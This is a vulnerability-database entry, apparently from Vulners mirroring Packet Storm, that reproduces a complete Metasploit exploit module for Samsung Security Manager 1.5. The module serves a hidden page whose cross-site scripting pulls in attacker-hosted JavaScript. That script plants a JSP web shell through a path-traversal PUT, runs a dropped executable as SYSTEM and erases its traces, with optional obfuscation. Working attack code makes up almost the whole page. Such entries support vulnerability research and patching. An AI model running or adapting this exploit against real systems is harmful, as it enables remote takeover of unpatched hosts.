Lucene search
K

Samsung Security Manager 1.5 ActiveMQ Broker Service PUT Method Remote Code Execution

🗓️ 06 Aug 2016 00:00:00Reported by mr_meType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 48 Views

Exploit against Samsung Security Manager bypasses patch in CVE-2015-3435 by exploiting client side vulnerability. Successfully tested in IE, FireFox and Chrome. Abuses GET request XSS to bypass CORS, manipulates PUT request to gain Remote Code Execution as SYSTEM

Related
Code
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::EXE  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::FileDropper  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Samsung Security Manager 1.5 ActiveMQ Broker Service PUT Method Remote Code Execution",  
'Description' => %q{  
This is an exploit against Samsung Security Manager that bypasses the patch in  
CVE-2015-3435 by exploiting the vulnerability against the client side. This exploit has  
been tested successfully against IE, FireFox and Chrome by abusing a GET request XSS to  
bypass CORS and reach the vulnerable PUT. Finally, a traversal is used in the PUT request  
to upload the code just where we want it and gain Remote Code Execution as SYSTEM.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'mr_me <mr_me[at]offensive-security.com>', # vuln + module  
],  
'References' =>  
[  
[ 'URL', 'http://metasploit.com' ]  
],  
'Platform' => 'win',  
'Targets' =>  
[  
# tested on 1.32, 1.4 & 1.5  
[ 'Samsung Security Manager 1.32, 1.4 & 1.5 Universal', {} ],  
],  
'DisclosureDate' => "Aug 05 2016",  
'DefaultTarget' => 0))  
register_options(  
[  
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])  
], self.class)  
end  
  
# this is because String.fromCharCode has a max of 65535 func args  
# thanks to sinn3r for his help with the Array->String conversion  
def encode_js(string)  
i = 0  
encoded_0 = []  
encoded_1 = []  
string.each_byte do |c|  
if i > 65534  
encoded_1 << c  
else  
encoded_0 << c  
end  
i += 1  
end  
if i > 65534  
return encoded_0 * ",", encoded_1 * ","  
else  
return encoded_0 * ","  
end  
end  
  
# tested on Firefox v46.0.1 (latest)  
# tested on Chrome v50.0.2661.102 (latest release)  
# tested on IE v11.0.9600.18314 (latest)  
def on_request_uri(cli, request)  
  
js_name = rand_text_alpha(rand(10)+5) + '.js'  
  
payload_url = "http://"  
payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']  
payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/" + js_name  
  
# we deliver the JavaScript code that does the work for us  
if (request.uri.match(/.js/))  
return if ((p = regenerate_payload(cli)) == nil)  
  
# dont exploit again otherwise we get a zillion shells  
return if session_created? or @exploited  
  
jsp_name = rand_text_alpha(rand(10)+5) + '.jsp'  
exe_name = rand_text_alpha(rand(10)+5) + '.exe'  
  
# clean just the jsp, because the exe dropper will be in use  
register_files_for_cleanup("../../webapps/admin/#{jsp_name}")  
  
# our jsp upload, ensuring native code execution  
jsp = %Q|<%@ page import="java.io.*" %>  
<%  
ByteArrayOutputStream buf = new ByteArrayOutputStream();  
BufferedReader reader = request.getReader();  
int tmp;  
while ((tmp = reader.read()) != -1) { buf.write(tmp); }  
FileOutputStream fostream = new FileOutputStream("#{exe_name}");  
buf.writeTo(fostream);  
fostream.close();  
Runtime.getRuntime().exec("#{exe_name}");  
%>|  
  
# encode the payloads  
encoded_exe = encode_js(generate_payload_exe(code: payload.encoded))  
encoded_jsp = encode_js(jsp)  
  
# targets  
jsp_uri = "http://localhost:8161/fileserver/..%5c%5cadmin%5c%5c#{jsp_name}"  
upload_uri = "http://localhost:8161/admin/#{jsp_name}"  
  
# this code does the PUT, then uploads/exec native code and then cleans the XSS out :->  
js_content = %Q|  
  
function do_put(uri, file_data) {  
var file_size = file_data.length;  
var xhr = new XMLHttpRequest();  
xhr.open("PUT", uri, true);  
var body = file_data;  
xhr.send(body);  
return true;  
}  
  
function do_upload(uri, file_data) {  
var file_size = file_data.length;  
var xhr = new XMLHttpRequest();  
xhr.open("POST", uri, true);  
var body = file_data;  
  
// latest ff doesnt have sendAsBinary(), so we redefine it  
if(!xhr.sendAsBinary){  
xhr.sendAsBinary = function(datastr) {  
function byteValue(x) {  
return x.charCodeAt(0) & 0xff;  
}  
var ords = Array.prototype.map.call(datastr, byteValue);  
var ui8a = new Uint8Array(ords);  
this.send(ui8a.buffer);  
}  
}  
xhr.sendAsBinary(body);  
return true;  
}  
  
function bye_bye_xss(uri){  
var xhr = new XMLHttpRequest();  
xhr.open('GET', uri.replace(/\\+/g,"%2b"), true);  
xhr.send();  
}  
  
function clean_up(){  
var xhr = new XMLHttpRequest();  
xhr.onreadystatechange = function() {  
if (xhr.readyState == XMLHttpRequest.DONE) {  
var els = xhr.responseXML.getElementsByTagName("a");  
for (var i = 0, l = els.length; i < l; i++) {  
var el = els[i];  
if (el.href.search("http://localhost:8161/admin/deleteDestination.action") == 0) {  
bye_bye_xss(el.href);  
}  
}  
}  
}  
xhr.open('GET', 'http://localhost:8161/admin/queues.jsp', true);  
xhr.responseType = "document"; // so that we can parse the reponse as a document  
xhr.send(null);  
}  
  
function exploit(){  
do_upload('#{upload_uri}', String.fromCharCode(#{encoded_exe[0]}) + String.fromCharCode(#{encoded_exe[1]}));  
clean_up();  
}  
  
function start() {  
do_put('#{jsp_uri}', String.fromCharCode(#{encoded_jsp}));  
setTimeout(exploit(), 2000); // timing is important  
}  
start();  
|  
  
if datastore['OBFUSCATE']  
js_content = ::Rex::Exploitation::JSObfu.new(js_content)  
js_content.obfuscate  
end  
  
print_status("Sending javascript...")  
@exploited = true  
send_response_html(cli, js_content, { 'Content-Type' => 'application/javascript' })  
return  
end  
  
if datastore['OBFUSCATE']  
js_content = ::Rex::Exploitation::JSObfu.new(js_content)  
js_content.obfuscate  
onlick = ::Rex::Exploitation::JSObfu.new(onlick)  
onlick.obfuscate  
end  
  
iframe_injection = ""  
# done so that we can ensure that we hit our payload, since iframes load very fast, we need a few  
(1..20).step(1) do |n|  
iframe_injection << "<iframe src=\"http://localhost:8161/admin/queueGraph.jsp\" width=\"0\" height=\"0\"></iframe>"  
end  
  
# the stored XSS endpoint  
target = "http://localhost:8161/admin/browse.jsp?JMSDestination="  
  
# we use XSS to execute JavaScript code in local context to avoid CORS  
xss_injection = "\"+eval(\"var a=document.createElement('script');a.type='text/javascript';"  
xss_injection << "a.src='#{payload_url}';document.body.appendChild(a)\")+\""  
target << Rex::Text.uri_encode(xss_injection)  
  
# we can bypass Access-Control-Allow-Origin (CORS) in all browsers using iframe since it makes a GET request  
# and the response is recieved in the page (even though we cant access it due to SOP) which then fires the XSS  
html_content = %Q|  
<html>  
<body>  
<iframe src="#{target}" width="0" height="0"></iframe>  
#{iframe_injection}  
</body>  
</html>  
|  
print_status("Sending exploit...")  
send_response_html(cli, html_content)  
handler(cli)  
end  
end  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation